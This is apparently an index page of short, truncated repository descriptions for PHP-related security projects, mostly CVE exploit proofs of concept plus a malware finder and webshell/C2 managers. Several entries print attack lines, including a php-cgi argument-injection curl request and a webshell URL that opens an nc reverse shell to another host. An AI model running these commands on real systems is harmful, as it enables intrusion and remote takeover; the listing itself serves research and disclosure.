my-cool-demo-php-code

My Cool Demo PHP Code! This repository contains a known super bad thing. What is it I wonder? Can it be related to a known CVE ID?...

cve-2024-37762

Description MachForm up to version 21 is affected by an authenticated unrestricted file upload which leads to a remote code execution. The application offers the possibility of a creation of a form with a file upload functionality. While by default the accepted files are restricted to a common sa...

CVE-2023-4220

CVE-2023-4220 Exploit for CVE-2023-4220 This is an exploit to exploit the vulnerability CVE-2023-4220 To execute the exploit, use it as follows: python3 exploit.py-u 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' -f 'archivoasubir'...

CVE-2024-4577

Just for researching Poc For Default XAMPP curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

Prestashop-CVE-2024-34716

Exploit Script for CSRF and Reverse Shell Attack This script automates a CSRF Cross-Site Request Forgery exploit to upload a PHP reverse shell on a target's web server and execute it. The reverse shell is delivered as a ZIP file via a crafted CSRF payload, which is triggered when a privileged use...

php-malware-finder

PHP Malware Finder | || || || | | | | || || | | || || || | Webshell finder, | || || | kiddies hunter, | | | |||| || | website cleaner. || || |||| Detect potentially malicious PHP files. What does it detect? PHP-malware-finder does its very best to detect obfuscated/dodgy code as well as files usi...

CVE-2026-113356

DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText that passes draft file contents to unserialize without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating...

CVE-2026-19658

CVE-2026-19658 — Give Tributes Unauthenticated PHP Object Injection Python 3 proof-of-concept scanner and donation-chain exploit helper for CVE-2026-19658 in the WordPress add-on Give - Tributes Liquid Web / GiveWP. | ---|--- Platform| WordPress plugin requires GiveWP core Component| Give -...

CVE-2025-6860

CVE-2025-6860 Exploit Tool A proof‑of‑concept command‑line tool in C for detecting and rudimentary exploiting the SQL injection vulnerability CVE‑2025‑6860 in staffcommision.php parameters fromdate & todate. Leverages libcurl for HTTP requests, rotates through common payloads & user‑agents, scans...

phpsploit

Full-featured C2 framework which silently persists on webserver via polymorphic PHP oneliner codeclimate maintainability Created by nil0x42 and contributors !https://assets.kitploit.com/production/public/readmes/320/aca304368ddb35833ee8b1f57c068ae36288119...

CVE-2026-29861

CVE-2026-29861 🛡️ CVE Disclosure: CVE-2026-29861 — SQL Injection in PHP-MYSQL-User-Login-System Disclosure Date: 10 April 2026 CVE ID: CVE-2026-29861 Severity: CRITICAL CVSS 9.8 🧩 Summary A critical SQL Injection vulnerability exists in PHP-MYSQL-User-Login-System v1.0, specifically within the...

gitlist-RCE

gitlist-RCE CVE-2014-4511 example: after shell upload successfully: access: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-113356

DokuWiki versions prior to 2026-07-14c are vulnerable to a PHP object injection vulnerability within the Draft::getDraftText() function. The root cause is the use of unserialize() on draft file contents without restricting allowed classes. Authenticated users with edit rights can exploit a race c...

CVE-2026-113356 DokuWiki before 2026-07-14c PHP Object Injection via Draft Race Condition

DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText that passes draft file contents to unserialize without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating...

EUVD-2026-104927

DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText that passes draft file contents to unserialize without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating...

recon-test-livewire

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experience to be truly fulfilling. Laravel takes the pain out of development by easing common tasks used in many web projects, such as: Simple, fast routi...

CVE-2020-12640

CVE-2020-12640: Local PHP File Inclusion via "Plugin Value" in Roundcube Webmail A Path Traversal vulnerability exists in Roundcube versions before 1.4.4, 1.3.11 and 1.2.10. Because the "plugins" parameters do not perform sanitization/input filtering, an attacker with access to the Roundcube...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 This exploit uses addresses and shellcode for Citrix VPX 13.1-48.47. For the full writeup, click here. Usage NASM is required to build the shellcode. $ sudo apt install nasm The included shellcode will download and run a shell script from a remote https server. The...

CVE-2023-3722

CVE-2023-3722 Python POC for CVE-2023-3722 Avaya Aura Device Services Unrestricted File Upload RCE. This script will use a PUT request to upload a php file with an eight-digit randomly generated filename. Then it will make a GET request to retrieve this file and parse the output to get the comman...

quasibot

quasiBot quasiBot 0.3 - Read Me 07.08.14 Agenda QuasiBot is a complex webshell manager written in PHP, which operate on web-based backdoors implemented by user himself. Using prepared php backdoors, quasiBot will work as C&C trying to communicate with each backdoor. Tool goes beyond average...